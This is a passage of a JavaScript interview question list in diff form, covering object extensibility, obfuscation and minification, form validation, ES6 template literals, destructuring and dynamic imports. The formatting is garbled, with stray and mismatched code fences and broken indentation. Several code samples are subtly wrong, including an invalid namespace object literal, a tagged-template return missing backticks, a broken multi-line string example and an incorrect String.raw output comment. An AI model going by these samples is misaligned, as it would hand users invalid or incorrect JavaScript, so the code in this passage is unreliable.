+             The `Object.preventExtensions()` method is used to prevent new properties from ever being added to an object. In other words, it prevents future extensions to the object. Let's see the usage of this property,
+
+             ```js
+
+        //
+        const newObject = {};
+        Object.preventExtensions(newObject); // NOT extendable
+
+             try {
+                 Object.defineProperty(newObject, 'newProperty', {
+                     // Adding new property
+                     value: 100
+                 });
+             } catch (e) {
+                 console.log(e); // TypeError: Cannot define property newProperty, object is not extensible
+             }
+             ```
+
+263.    What are the different ways to make an object non-extensible
+
+             You can mark an object non-extensible in 3 ways,
+
+             1. Object.preventExtensions
+             2. Object.seal
+             3. Object.freeze
+
+             ```js
+
+        //
+        var newObject = {};
+
+             Object.preventExtensions(newObject); // Prevent objects are non-extensible
+             Object.isExtensible(newObject); // false
+
+             var sealedObject = Object.seal({}); // Sealed objects are non-extensible
+             Object.isExtensible(sealedObject); // false
+
+             var frozenObject = Object.freeze({}); // Frozen objects are non-extensible
+             Object.isExtensible(frozenObject); // false
+             ```
+
+264.    How do you define multiple properties on an object
+
+             The `Object.defineProperties()` method is used to define new or modify existing properties directly on an object and returning the object. Let's define multiple properties on an empty object,
+
+             ```js
+
+        //
+        const newObject = {};
+
+             Object.defineProperties(newObject, {
+                 newProperty1: {
+                     value: 'John',
+                     writable: true
+                 },
+                 newProperty2: {}
+             });
+             ```
+
+265.    What is MEAN in javascript
+
+        The MEAN (MongoDB, Express, AngularJS, and Node.js) stack is the most popular open-source JavaScript software tech stack available for building dynamic web apps where you can write both the server-side and client-side halves of the web project entirely in JavaScript.
+
+266.    What Is Obfuscation in javascript
+
+             Obfuscation is the deliberate act of creating obfuscated javascript code(i.e, source or machine code) that is difficult for humans to understand. It is something similar to encryption, but a machine can understand the code and execute it.
+             Let's see the below function before Obfuscation,
+
+             ```js
+
+        //
+        function greeting() {
+        console.log('Hello, welcome to JS world');
+        }
+
+        ````
+
+             And after the code Obfuscation, it would be appeared as below,
+
+             ```js
+
+        //
+        eval(
+        (function (p, a, c, k, e, d) {
+        e = function (c) {
+        return c;
+        };
+        if (!''.replace(/^/, String)) {
+        while (c--) {
+        d[c] = k[c] || c;
+        }
+        k = [
+        function (e) {
+        return d[e];
+        }
+        ];
+        e = function () {
+        return '\\w+';
+        };
+        c = 1;
+        }
+        while (c--) {
+        if (k[c]) {
+        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
+        }
+        }
+        return p;
+        })("2 1(){0.3('4, 7 6 5 8')}", 9, 9, 'console|greeting|function|log|Hello|JS|to|welcome|world'.split('|'), 0, {})
+        );
+        ````
+
+267.    Why do you need Obfuscation
+
+        Below are the few reasons for Obfuscation,
+
+        1. The Code size will be reduced. So data transfers between server and client will be fast.
+        2. It hides the business logic from outside world and protects the code from others
+        3. Reverse engineering is highly difficult
+        4. The download time will be reduced
+
+268.    What is Minification
+
+        Minification is the process of removing all unnecessary characters(empty spaces are removed) and variables will be renamed without changing it's functionality. It is also a type of obfuscation .
+
+269.    What are the advantages of minification
+
+        Normally it is recommended to use minification for heavy traffic and intensive requirements of resources. It reduces file sizes with below benefits,
+
+        1. Decreases loading times of a web page
+        2. Saves bandwidth usages
+
+270.    What are the differences between Obfuscation and Encryption
+
+        Below are the main differences between Obfuscation and Encryption,
+
+        | Feature            | Obfuscation                                     | Encryption                                                              |
+        | ------------------ | ----------------------------------------------- | ----------------------------------------------------------------------- |
+        | Definition         | Changing the form of any data in any other form | Changing the form of information to an unreadable format by using a key |
+        | A key to decode    | It can be decoded without any key               | It is required                                                          |
+        | Target data format | It will be converted to a complex form          | Converted into an unreadable format                                     |
+
+271.    What are the common tools used for minification
+
+        There are many online/offline tools to minify the javascript files,
+
+        1. Google's Closure Compiler
+        2. UglifyJS2
+        3. jsmin
+        4. javascript-minifier.com/
+        5. prettydiff.com
+
+272.    How do you perform form validation using javascript
+
+             JavaScript can be used to perform HTML form validation. For example, if the form field is empty, the function needs to notify, and return false, to prevent the form being submitted.
+             Lets' perform user login in an html form,
+
+             ```html
+             <form name="myForm" onsubmit="return validateForm()" method="post">
+                 User name: <input type="text" name="uname" />
+                 <input type="submit" value="Submit" />
+             </form>
+             ```
+
+             And the validation on user login is below,
+
+             ```js
+
+        //
+        function validateForm() {
+        var x = document.forms['myForm']['uname'].value;
+        if (x == '') {
+        alert("The username shouldn't be empty");
+        return false;
+        }
+        }
+
+        ```
+
+        ```
+
+273.    How do you perform form validation without javascript
+
+        You can perform HTML form validation automatically without using javascript. The validation enabled by applying the `required` attribute to prevent form submission when the input is empty.
+
+        ```html
+        <form method="post">
+            <input type="text" name="uname" required />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        **Note:** Automatic form validation does not work in Internet Explorer 9 or earlier.
+
+274.    What are the DOM methods available for constraint validation
+
+             The below DOM methods are available for constraint validation on an invalid input,
+
+             1. checkValidity(): It returns true if an input element contains valid data.
+             2. setCustomValidity(): It is used to set the validationMessage property of an input element.
+                Let's take an user login form with DOM validations
+
+             ```js
+
+        //
+        function myFunction() {
+        var userName = document.getElementById('uname');
+        if (!userName.checkValidity()) {
+        document.getElementById('message').innerHTML = userName.validationMessage;
+        } else {
+        document.getElementById('message').innerHTML = 'Entered a valid username';
+        }
+        }
+
+        ```
+
+        ```
+
+275.    What are the available constraint validation DOM properties
+
+        Below are the list of some of the constraint validation DOM properties available,
+
+        1. validity: It provides a list of boolean properties related to the validity of an input element.
+        2. validationMessage: It displays the message when the validity is false.
+        3. willValidate: It indicates if an input element will be validated or not.
+
+276.    What are the list of validity properties
+
+        The validity property of an input element provides a set of properties related to the validity of data.
+
+        1. customError: It returns true, if a custom validity message is set.
+        2. patternMismatch: It returns true, if an element's value does not match its pattern attribute.
+        3. rangeOverflow: It returns true, if an element's value is greater than its max attribute.
+        4. rangeUnderflow: It returns true, if an element's value is less than its min attribute.
+        5. stepMismatch: It returns true, if an element's value is invalid according to step attribute.
+        6. tooLong: It returns true, if an element's value exceeds its maxLength attribute.
+        7. typeMismatch: It returns true, if an element's value is invalid according to type attribute.
+        8. valueMissing: It returns true, if an element with a required attribute has no value.
+        9. valid: It returns true, if an element's value is valid.
+
+277.    Give an example usage of rangeOverflow property
+
+             If an element's value is greater than its max attribute then rangeOverflow property returns true. For example, the below form submission throws an error if the value is more than 100,
+
+             ```html
+             <input id="age" type="number" max="100" /> <button onclick="myOverflowFunction()">OK</button>
+             ```
+
+             ```js
+
+        //
+        function myOverflowFunction() {
+        if (document.getElementById('age').validity.rangeOverflow) {
+        alert('The mentioned age is not allowed');
+        }
+        }
+
+        ```
+
+        ```
+
+278.    Is enums feature available in javascript
+
+             No, javascript does not natively support enums. But there are different kinds of solutions to simulate them even though they may not provide exact equivalents. For example, you can use freeze or seal on object,
+
+             ```js
+
+        //
+        var DaysEnum = Object.freeze({"monday":1, "tuesday":2, "wednesday":3, ...})
+
+        ```
+
+        ```
+
+279.    What is an enum
+
+             An enum is a type restricting variables to one value from a predefined set of constants. JavaScript has no enums but typescript provides built-in enum support.
+
+             ```js
+
+        //
+        enum Color {
+        RED, GREEN, BLUE
+        }
+
+        ```
+
+        ```
+
+280.    How do you list all properties of an object
+
+             You can use the `Object.getOwnPropertyNames()` method which returns an array of all properties found directly in a given object. Let's the usage of it in an example,
+
+             ```js
+
+        //
+        const newObject = {
+        a: 1,
+        b: 2,
+        c: 3
+        };
+
+             console.log(Object.getOwnPropertyNames(newObject));
+             ['a', 'b', 'c'];
+             ```
+
+281.    How do you get property descriptors of an object
+
+             You can use the `Object.getOwnPropertyDescriptors()` method which returns all own property descriptors of a given object. The example usage of this method is below,
+
+             ```js
+
+        //
+        const newObject = {
+        a: 1,
+        b: 2,
+        c: 3
+        };
+        const descriptorsObject = Object.getOwnPropertyDescriptors(newObject);
+        console.log(descriptorsObject.a.writable); //true
+        console.log(descriptorsObject.a.configurable); //true
+        console.log(descriptorsObject.a.enumerable); //true
+        console.log(descriptorsObject.a.value); // 1
+
+        ```
+
+        ```
+
+282.    What are the attributes provided by a property descriptor
+
+        A property descriptor is a record which has the following attributes
+
+        1. value: The value associated with the property
+        2. writable: Determines whether the value associated with the property can be changed or not
+        3. configurable: Returns true if the type of this property descriptor can be changed and if the property can be deleted from the corresponding object.
+        4. enumerable: Determines whether the property appears during enumeration of the properties on the corresponding object or not.
+        5. set: A function which serves as a setter for the property
+        6. get: A function which serves as a getter for the property
+
+283.    How do you extend classes
+
+             The `extends` keyword is used in class declarations/expressions to create a class which is a child of another class. It can be used to subclass custom classes as well as built-in objects. The syntax would be as below,
+
+             ```js
+
+        //
+        class ChildClass extends ParentClass { ... }
+
+        ````
+
+             Let's take an example of Square subclass from Polygon parent class,
+
+             ```js
+
+        //
+        class Square extends Rectangle {
+        constructor(length) {
+        super(length, length);
+        this.name = 'Square';
+        }
+
+                 get area() {
+                     return this.width * this.height;
+                 }
+
+                 set area(value) {
+                     this.area = value;
+                 }
+             }
+             ```
+
+        ````
+
+284.    How do I modify the url without reloading the page
+
+             The `window.location.url` property will be helpful to modify the url but it reloads the page. HTML5 introduced the `history.pushState()` and `history.replaceState()` methods, which allow you to add and modify history entries, respectively. For example, you can use pushState as below,
+
+             ```js
+
+        //
+        window.history.pushState('page2', 'Title', '/page2.html');
+
+        ```
+
+        ```
+
+285.    How do you check whether an array includes a particular value or not
+
+             The `Array#includes()` method is used to determine whether an array includes a particular value among its entries by returning either true or false. Let's see an example to find an element(numeric and string) within an array.
+
+             ```js
+
+        //
+        var numericArray = [1, 2, 3, 4];
+        console.log(numericArray.includes(3)); // true
+
+             var stringArray = ['green', 'yellow', 'blue'];
+             console.log(stringArray.includes('blue')); //true
+             ```
+
+286.    How do you compare scalar arrays
+
+             You can use length and every method of arrays to compare two scalar(compared directly using ===) arrays. The combination of these expressions can give the expected result,
+
+             ```js
+
+        //
+        const arrayFirst = [1, 2, 3, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.every((value, index) => value === arraySecond[index])); // true
+
+        ````
+
+             If you would like to compare arrays irrespective of order then you should sort them before,
+
+             ```js
+
+        //
+        const arrayFirst = [2, 3, 1, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.sort().every((value, index) => value === arraySecond[index])); //true
+        ````
+
+287.    How to get the value from get parameters
+
+             The `new URL()` object accepts the url string and `searchParams` property of this object can be used to access the get parameters. Remember that you may need to use polyfill or `window.location` to access the URL in older browsers(including IE).
+
+             ```js
+
+        //
+        let urlString = 'http://www.some-domain.com/about.html?x=1&y=2&z=3'; //window.location.href
+        let url = new URL(urlString);
+        let parameterZ = url.searchParams.get('z');
+        console.log(parameterZ); // 3
+
+        ```
+
+        ```
+
+288.    How do you print numbers with commas as thousand separators
+
+             You can use the `Number.prototype.toLocaleString()` method which returns a string with a language-sensitive representation such as thousand separator,currency etc of this number.
+
+             ```js
+
+        //
+        function convertToThousandFormat(x) {
+        return x.toLocaleString(); // 12,345.679
+        }
+
+             console.log(convertToThousandFormat(12345.6789));
+             ```
+
+289.    What is the difference between java and javascript
+
+        Both are totally unrelated programming languages and no relation between them. Java is statically typed, compiled, runs on its own VM. Whereas Javascript is dynamically typed, interpreted, and runs in a browser and nodejs environments. Let's see the major differences in a tabular format,
+        | Feature | Java | JavaScript |
+        |---- | ---- | -----
+        | Typed | It's a strongly typed language | It's a dynamic typed language |
+        | Paradigm | Object oriented programming | Prototype based programming |
+        | Scoping | Block scoped | Function-scoped |
+        | Concurrency | Thread based | event based |
+        | Memory | Uses more memory | Uses less memory. Hence it will be used for web pages |
+
+290.    Does JavaScript supports namespace
+
+             JavaScript doesn't support namespace by default. So if you create any element(function, method, object, variable) then it becomes global and pollutes the global namespace. Let's take an example of defining two functions without any namespace,
+
+             ```js
+
+        //
+        function func1() {
+        console.log('This is a first definition');
+        }
+        function func1() {
+        console.log('This is a second definition');
+        }
+        func1(); // This is a second definition
+
+        ```
+
+             It always calls the second function definition. In this case, namespace will solve the name collision problem.
+
+        ```
+
+291.    How do you declare namespace
+
+             Even though JavaScript lacks namespaces, we can use Objects , IIFE to create namespaces.
+
+             1. **Using Object Literal Notation:** Let's wrap variables and functions inside an Object literal which acts as a namespace. After that you can access them using object notation
+
+             ```js
+
+        //
+        var namespaceOne = {
+        function func1() {
+        console.log("This is a first definition");
+        }
+        }
+        var namespaceTwo = {
+        function func1() {
+        console.log("This is a second definition");
+        }
+        }
+        namespaceOne.func1(); // This is a first definition
+        namespaceTwo.func1(); // This is a second definition
+
+        ````
+
+             1. **Using IIFE (Immediately invoked function expression):** The outer pair of parentheses of IIFE creates a local scope for all the code inside of it and makes the anonymous function a function expression. Due to that, you can create the same function in two different function expressions to act as a namespace.
+
+             ```js
+
+        //
+        (function () {
+        function fun1() {
+        console.log('This is a first definition');
+        }
+        fun1();
+        })();
+
+             (function () {
+                 function fun1() {
+                     console.log('This is a second definition');
+                 }
+                 fun1();
+             })();
+             ```
+
+             1. **Using a block and a let/const declaration:** In ECMAScript 6, you can simply use a block and a let declaration to restrict the scope of a variable to a block.
+
+             ```js
+
+        //
+        {
+        let myFunction = function fun1() {
+        console.log('This is a first definition');
+        };
+        myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+
+             {
+                 let myFunction = function fun1() {
+                     console.log('This is a second definition');
+                 };
+                 myFunction();
+             }
+             //myFunction(): ReferenceError: myFunction is not defined.
+             ```
+
+        ````
+
+292.    How do you invoke javascript code in an iframe from parent page
+
+             Initially iFrame needs to be accessed using either `document.getElementBy` or `window.frames`. After that `contentWindow` property of iFrame gives the access for targetFunction
+
+             ```js
+
+        //
+        document.getElementById('targetFrame').contentWindow.targetFunction();
+        window.frames[0].frameElement.contentWindow.targetFunction(); // Accessing iframe this way may not work in latest versions chrome and firefox
+
+        ```
+
+        ```
+
+293.    How do get the timezone offset from date
+
+             You can use the `getTimezoneOffset` method of the date object. This method returns the time zone difference, in minutes, from current locale (host system settings) to UTC
+
+             ```js
+
+        //
+        var offset = new Date().getTimezoneOffset();
+        console.log(offset); // -480
+
+        ```
+
+        ```
+
+294.    How do you load CSS and JS files dynamically
+
+             You can create both link and script elements in the DOM and append them as child to head tag. Let's create a function to add script and style resources as below,
+
+             ```js
+
+        //
+        function loadAssets(filename, filetype) {
+        if (filetype == 'css') {
+        // External CSS file
+        var fileReference = document.createElement('link');
+        fileReference.setAttribute('rel', 'stylesheet');
+        fileReference.setAttribute('type', 'text/css');
+        fileReference.setAttribute('href', filename);
+        } else if (filetype == 'js') {
+        // External JavaScript file
+        var fileReference = document.createElement('script');
+        fileReference.setAttribute('type', 'text/javascript');
+        fileReference.setAttribute('src', filename);
+        }
+        if (typeof fileReference != 'undefined') document.getElementsByTagName('head')[0].appendChild(fileReference);
+        }
+
+        ```
+
+        ```
+
+295.    What are the different methods to find HTML elements in DOM
+
+        If you want to access any element in an HTML page, you need to start with accessing the document object. Later you can use any of the below methods to find the HTML element,
+
+        1. document.getElementById(id): It finds an element by Id
+        2. document.getElementsByTagName(name): It finds an element by tag name
+        3. document.getElementsByClassName(name): It finds an element by class name
+
+296.    What is jQuery
+
+             jQuery is a popular cross-browser JavaScript library that provides Document Object Model (DOM) traversal, event handling, animations and AJAX interactions by minimizing the discrepancies across browsers. It is widely famous with its philosophy of "Write less, do more". For example, you can display welcome message on the page load using jQuery as below,
+
+             ```js
+
+        //
+        $(document).ready(function () {
+        // It selects the document and apply the function on page load
+        alert('Welcome to jQuery world');
+        });
+
+        ```
+
+             **Note:** You can download it from jquery's official site or install it from CDNs, like google.
+
+        ```
+
+297.    What is V8 JavaScript engine
+
+        V8 is an open source high-performance JavaScript engine used by the Google Chrome browser, written in C++. It is also being used in the node.js project. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors.
+        **Note:** It can run standalone, or can be embedded into any C++ application.
+
+298.    Why do we call javascript as dynamic language
+
+             JavaScript is a loosely typed or a dynamic language because variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned/reassigned with values of all types.
+
+             ```js
+
+        //
+        let age = 50; // age is a number now
+        age = 'old'; // age is a string now
+        age = true; // age is a boolean
+
+        ```
+
+        ```
+
+299.    What is a void operator
+
+             The `void` operator evaluates the given expression and then returns undefined(i.e, without returning value). The syntax would be as below,
+
+             ```js
+
+        //
+        void expression;
+        void expression;
+
+        ````
+
+             Let's display a message without any redirection or reload
+
+             ```js
+
+        //
+        <a href="javascript:void(alert('Welcome to JS world'))">Click here to see a message</a>
+        ````
+
+             **Note:** This operator is often used to obtain the undefined primitive value, using "void(0)".
+
+300.    How to set the cursor to wait
+
+             The cursor can be set to wait in JavaScript by using the property "cursor". Let's perform this behavior on page load using the below function.
+
+             ```js
+
+        //
+        function myFunction() {
+        window.document.body.style.cursor = 'wait';
+        }
+
+        ````
+
+             and this function invoked on page load
+
+             ```html
+             <body onload="myFunction()">
+
+        </body>
+             ```
+
+        ````
+
+301.    How do you create an infinite loop
+
+             You can create infinite loops using for and while loops without using any expressions. The for loop construct or syntax is better approach in terms of ESLint and code optimizer tools,
+
+             ```js
+
+        //
+        for (;;) {}
+        while (true) {}
+
+        ```
+
+        ```
+
+302.    Why do you need to avoid with statement
+
+             JavaScript's with statement was intended to provide a shorthand for writing recurring accesses to objects. So it can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. Let's take an example where it is used to avoid redundancy when accessing an object several times.
+
+             ```js
+
+        //
+        a.b.c.greeting = 'welcome';
+        a.b.c.age = 32;
+
+        ````
+
+             Using `with` it turns this into:
+
+             ```js
+
+        //
+        with (a.b.c) {
+        greeting = 'welcome';
+        age = 32;
+        }
+        ````
+
+             But this `with` statement creates performance problems since one cannot predict whether an argument will refer to a real variable or to a property inside the with argument.
+
+303.    What is the output of below for loops
+
+             ```js
+
+        //
+        for (var i = 0; i < 4; i++) {
+        // global scope
+        setTimeout(() => console.log(i));
+        }
+
+             for (let i = 0; i < 4; i++) {
+                 // block scope
+                 setTimeout(() => console.log(i));
+             }
+             ```
+
+             The output of the above for loops is 4 4 4 4 and 0 1 2 3
+
+             **Explanation:** Due to the event queue/loop of javascript, the `setTimeout` callback function is called after the loop has been executed. Since the variable i is declared with the `var` keyword it became a global variable and the value was equal to 4 using iteration when the time `setTimeout` function is invoked. Hence, the output of the first loop is `4 4 4 4`.
+
+             Whereas in the second loop, the variable i is declared as the `let` keyword it becomes a block scoped variable and it holds a new value(0, 1 ,2 3) for each iteration. Hence, the output of the first loop is `0 1 2 3`.
+
+304.    List down some of the features of ES6
+
+        Below are the list of some new features of ES6,
+
+        1. Support for constants or immutable variables
+        2. Block-scope support for variables, constants and functions
+        3. Arrow functions
+        4. Default parameters
+        5. Rest and Spread Parameters
+        6. Template Literals
+        7. Multi-line Strings
+        8. Destructuring Assignment
+        9. Enhanced Object Literals
+        10. Promises
+        11. Classes
+        12. Modules
+
+305.    What is ES6
+
+        ES6 is the sixth edition of the javascript language and it was released in June 2015. It was initially known as ECMAScript 6 (ES6) and later renamed to ECMAScript 2015. Almost all the modern browsers support ES6 but for the old browsers there are many transpilers, like Babel.js etc.
+
+306.    Can I redeclare let and const variables
+
+             No, you cannot redeclare let and const variables. If you do, it throws below error
+
+             ```console
+             Uncaught SyntaxError: Identifier 'someVariable' has already been declared
+             ```
+
+             **Explanation:** The variable declaration with `var` keyword refers to a function scope and the variable is treated as if it were declared at the top of the enclosing scope due to hoisting feature. So all the multiple declarations contributing to the same hoisted variable without any error. Let's take an example of re-declaring variables in the same scope for both var and let/const variables.
+
+             ```js
+
+        //
+        var name = 'John';
+        function myFunc() {
+        var name = 'Nick';
+        var name = 'Abraham'; // Re-assigned in the same function block
+        alert(name); // Abraham
+        }
+        myFunc();
+        alert(name); // John
+
+        ````
+
+             The block-scoped multi-declaration throws syntax error,
+
+             ```js
+
+        //
+        let name = 'John';
+        function myFunc() {
+        let name = 'Nick';
+        let name = 'Abraham'; // Uncaught SyntaxError: Identifier 'name' has already been declared
+        alert(name);
+        }
+
+             myFunc();
+             alert(name);
+             ```
+
+        ````
+
+307.    Is const variable makes the value immutable
+
+             No, the const variable doesn't make the value immutable. But it disallows subsequent assignments(i.e, You can declare with assignment but can't assign another value later)
+
+             ```js
+
+        //
+        const userList = [];
+        userList.push('John'); // Can mutate even though it can't re-assign
+        console.log(userList); // ['John']
+
+        ```
+
+        ```
+
+308.    What are default parameters
+
+             In E5, we need to depend on logical OR operators to handle default values of function parameters. Whereas in ES6, Default function parameters feature allows parameters to be initialized with default values if no value or undefined is passed. Let's compare the behavior with an examples,
+
+             ```js
+
+        //
+        //ES5
+        var calculateArea = function (height, width) {
+        height = height || 50;
+        width = width || 60;
+
+                 return width * height;
+             };
+             console.log(calculateArea()); //300
+             ```
+
+             The default parameters makes the initialization more simpler,
+
+             ```js
+
+        //
+        //ES6
+        var calculateArea = function (height = 50, width = 60) {
+        return width \* height;
+        };
+
+             console.log(calculateArea()); //300
+             ```
+
+309.    What are template literals
+
+             Template literals or template strings are string literals allowing embedded expressions. These are enclosed by the back-tick (`) character instead of double or single quotes.
+             In E6, this feature enables using dynamic expressions as below,
+
+             ```js
+
+        //
+        var greeting = `Welcome to JS World, Mr. ${firstName} ${lastName}.`;
+
+        ````
+
+             In ES5, you need break string like below,
+
+             ```js
+
+        //
+        var greeting = 'Welcome to JS World, Mr. ' + firstName + ' ' + lastName.`
+        ````
+
+             **Note:** You can use multi-line strings and string interpolation features with template literals.
+
+310.    How do you write multi-line strings in template literals
+
+             In ES5, you would have to use newline escape characters('\\n') and concatenation symbols(+) in order to get multi-line strings.
+
+             ```js
+
+        //
+        console.log('This is string sentence 1\n' + 'This is string sentence 2');
+
+        ````
+
+             Whereas in ES6, You don't need to mention any newline sequence character,
+
+             ```js
+
+        //
+        console.log(`This is string sentence 'This is string sentence 2`);
+        ````
+
+311.    What are nesting templates
+
+             The nesting template is a feature supported within template literals syntax to allow inner backticks inside a placeholder ${ } within the template. For example, the below nesting template is used to display the icons based on user permissions whereas outer template checks for platform type,
+
+             ```js
+
+        //
+        const iconStyles = `icon ${isMobilePlatform() ? '' : `icon-${user.isAuthorized ? 'submit' : 'disabled'}`}`;
+
+        ````
+
+             You can write the above use case without nesting template features as well. However, the nesting template feature is more compact and readable.
+
+             ```js
+
+        //
+        //Without nesting templates
+        const iconStyles = `icon ${ isMobilePlatform() ? '' : (user.isAuthorized ? 'icon-submit' : 'icon-disabled'}`;
+        ````
+
+312.    What are tagged templates
+
+             Tagged templates are the advanced form of templates in which tags allow you to parse template literals with a function. The tag function accepts the first parameter as an array of strings and remaining parameters as expressions. This function can also return manipulated strings based on parameters. Let's see the usage of this tagged template behavior of an IT professional skill set in an organization,
+
+             ```js
+
+        //
+        var user1 = 'John';
+        var skill1 = 'JavaScript';
+        var experience1 = 15;
+
+             var user2 = 'Kane';
+             var skill2 = 'JavaScript';
+             var experience2 = 5;
+
+             function myInfoTag(strings, userExp, experienceExp, skillExp) {
+               var str0 = strings[0]; // "Mr/Ms. "
+               var str1 = strings[1]; // " is a/an "
+               var str2 = strings[2]; // "in"
+
+               var expertiseStr;
+               if (experienceExp > 10){
+                 expertiseStr = 'expert developer';
+               } else if(skillExp > 5 && skillExp <= 10) {
+                 expertiseStr = 'senior developer';
+               } else {
+                 expertiseStr = 'junior developer';
+               }
+
+               return ${str0}${userExp}${str1}${expertiseStr}${str2}${skillExp};
+             }
+
+             var output1 = myInfoTag`Mr/Ms. ${ user1 } is a/an ${ experience1 } in ${skill1}`;
+             var output2 = myInfoTag`Mr/Ms. ${ user2 } is a/an ${ experience2 } in ${skill2}`;
+
+             console.log(output1);// Mr/Ms. John is a/an expert developer in JavaScript
+             console.log(output2);// Mr/Ms. Kane is a/an junior developer in JavaScript
+             ```
+
+313.    What are raw strings
+
+             ES6 provides a raw strings feature using the `String.raw()` method which is used to get the raw string form of template strings. This feature allows you to access the raw strings as they were entered, without processing escape sequences. For example, the usage would be as below,
+
+             ```js
+
+        //
+        var calculationString = String.raw`The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString); // The sum of numbers is 10
+
+        ````
+
+             If you don't use raw strings, the newline character sequence will be processed by displaying the output in multiple lines
+
+             ```js
+
+        //
+        var calculationString = `The sum of numbers is \n${1 + 2 + 3 + 4}!`;
+        console.log(calculationString);
+        // The sum of numbers is
+        // 10
+        ````
+
+             Also, the raw property is available on the first argument to the tag function
+
+             ```js
+
+        //
+        function tag(strings) {
+        console.log(strings.raw[0]);
+        }
+
+        ```
+
+        ```
+
+314.    What is destructuring assignment
+
+             The destructuring assignment is a JavaScript expression that makes it possible to unpack values from arrays or properties from objects into distinct variables.
+             Let's get the month values from an array using destructuring assignment
+
+             ```js
+
+        //
+        var [one, two, three] = ['JAN', 'FEB', 'MARCH'];
+
+             console.log(one); // "JAN"
+             console.log(two); // "FEB"
+             console.log(three); // "MARCH"
+             ```
+
+             and you can get user properties of an object using destructuring assignment,
+
+             ```js
+
+        //
+        var { name, age } = { name: 'John', age: 32 };
+
+             console.log(name); // John
+             console.log(age); // 32
+             ```
+
+315.    What are default values in destructuring assignment
+
+             A variable can be assigned a default value when the value unpacked from the array or object is undefined during destructuring assignment. It helps to avoid setting default values separately for each assignment. Let's take an example for both arrays and object use cases,
+
+             **Arrays destructuring:**
+
+             ```js
+
+        //
+        var x, y, z;
+
+             [x = 2, y = 4, z = 6] = [10];
+             console.log(x); // 10
+             console.log(y); // 4
+             console.log(z); // 6
+             ```
+
+             **Objects destructuring:**
+
+             ```js
+
+        //
+        var { x = 2, y = 4, z = 6 } = { x: 10 };
+
+             console.log(x); // 10
+             console.log(y); // 4
+             console.log(z); // 6
+             ```
+
+316.    How do you swap variables in destructuring assignment
+
+             If you don't use destructuring assignment, swapping two values requires a temporary variable. Whereas using a destructuring feature, two variable values can be swapped in one destructuring expression. Let's swap two number variables in array destructuring assignment,
+
+             ```js
+
+        //
+        var x = 10,
+        y = 20;
+
+             [x, y] = [y, x];
+             console.log(x); // 20
+             console.log(y); // 10
+             ```
+
+317.    What are enhanced object literals
+
+             Object literals make it easy to quickly create objects with properties inside the curly braces. For example, it provides shorter syntax for common object property definition as below.
+
+             ```js
+
+        //
+        //ES6
+        var x = 10,
+        y = 20;
+        obj = { x, y };
+        console.log(obj); // {x: 10, y:20}
+        //ES5
+        var x = 10,
+        y = 20;
+        obj = { x: x, y: y };
+        console.log(obj); // {x: 10, y:20}
+
+        ```
+
+        ```
+
+318.    What are dynamic imports
+
+             The dynamic imports using `import()` function syntax allows us to load modules on demand by using promises or the async/await syntax. Currently this feature is in [stage4 proposal](https://github.com/tc39/proposal-dynamic-import). The main advantage of dynamic imports is reduction of our bundle's sizes, the size/payload response of our requests and overall improvements in the user experience.
+             The syntax of dynamic imports would be as below,
+
+             ```js
+
+        //
+        import('./Module').then((Module) => Module.method());
+
+        ```
+
+        ```
+
+319.    What are the use cases for dynamic imports
+
+             Below are some of the use cases of using dynamic imports over static imports,
+
+             1. Import a module on-demand or conditionally. For example, if you want to load a polyfill on legacy browser
+
+             ```js
+
+        //
+        if (isLegacyBrowser()) {
+        import(···)
+        .then(···);
+        }
+
+        ````
+
+             1. Compute the module specifier at runtime. For example, you can use it for internationalization.
+
+             ```js
+
+        //
+        import(`messages_${getLocale()}.js`).then(···);
+        ````
+
+             1. Import a module from within a regular script instead a module.
+
+320.    What are typed arrays
+
+             Typed arrays are array-like objects from ECMAScript 6 API for handling binary data. JavaScript provides 8 Typed array types,
+
+             1. Int8Array: An array of 8-bit signed integers
+             2. Int16Array: An array of 16-bit signed integers
+             3. Int32Array: An array of 32-bit signed integers
+             4. Uint8Array: An array of 8-bit unsigned integers
+             5. Uint16Array: An array of 16-bit unsigned integers
+             6. Uint32Array: An array of 32-bit unsigned integers
+             7. Float32Array: An array of 32-bit floating point numbers
+             8. Float64Array: An array of 64-bit floating point numbers
+
+             For example, you can create an array of 8-bit signed integers as below
+
+             ```js
+
+        //
+        const a = new Int8Array();
+        // You can pre-allocate n bytes
+        const bytes = 1024;
+        const a = new Int8Array(bytes);
+
+        ```
+
+        ```
+
+321.    What are the advantages of module loaders
+
+        The module loaders provides the below features,
+
+        1. Dynamic loading
+        2. State isolation
+        3. Global namespace isolation
+        4. Compilation hooks
+        5. Nested virtualization
+
+322.    What is collation
+
+             Collation is used for sorting a set of strings and searching within a set of strings. It is parameterized by locale and aware of Unicode. Let's take comparison and sorting features,
+
+             1. **Comparison:**
+
+             ```js
+
+        //
+        var list = ['ä', 'a', 'z']; // In German, "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(l10nDE.compare('ä', 'z') === -1); // true
+        console.log(l10nSV.compare('ä', 'z') === +1); // true
+
+        ````
+
+             1. **Sorting:**
+
+             ```js
+
+        //
+        var list = ['ä', 'a', 'z']; // In German, "ä" sorts with "a" Whereas in Swedish, "ä" sorts after "z"
+        var l10nDE = new Intl.Collator('de');
+        var l10nSV = new Intl.Collator('sv');
+        console.log(list.sort(l10nDE.compare)); // [ "a", "ä", "z" ]
+        console.log(list.sort(l10nSV.compare)); // [ "a", "z", "ä" ]
+        ````
+
+323.    What is for...of statement
+
+             The for...of statement creates a loop iterating over iterable objects or elements such as built-in String, Array, Array-like objects (like arguments or NodeList), TypedArray, Map, Set, and user-defined iterables. The basic usage of for...of statement on arrays would be as below,
+
+             ```js
+
+        //
+        let arrayIterable = [10, 20, 30, 40, 50];
+
+             for (let value of arrayIterable) {
+                 value++;
+                 console.log(value); // 11 21 31 41 51
+             }
+             ```
+
+324.    What is the output of below spread operator array
+
+             ```js
+
+        //
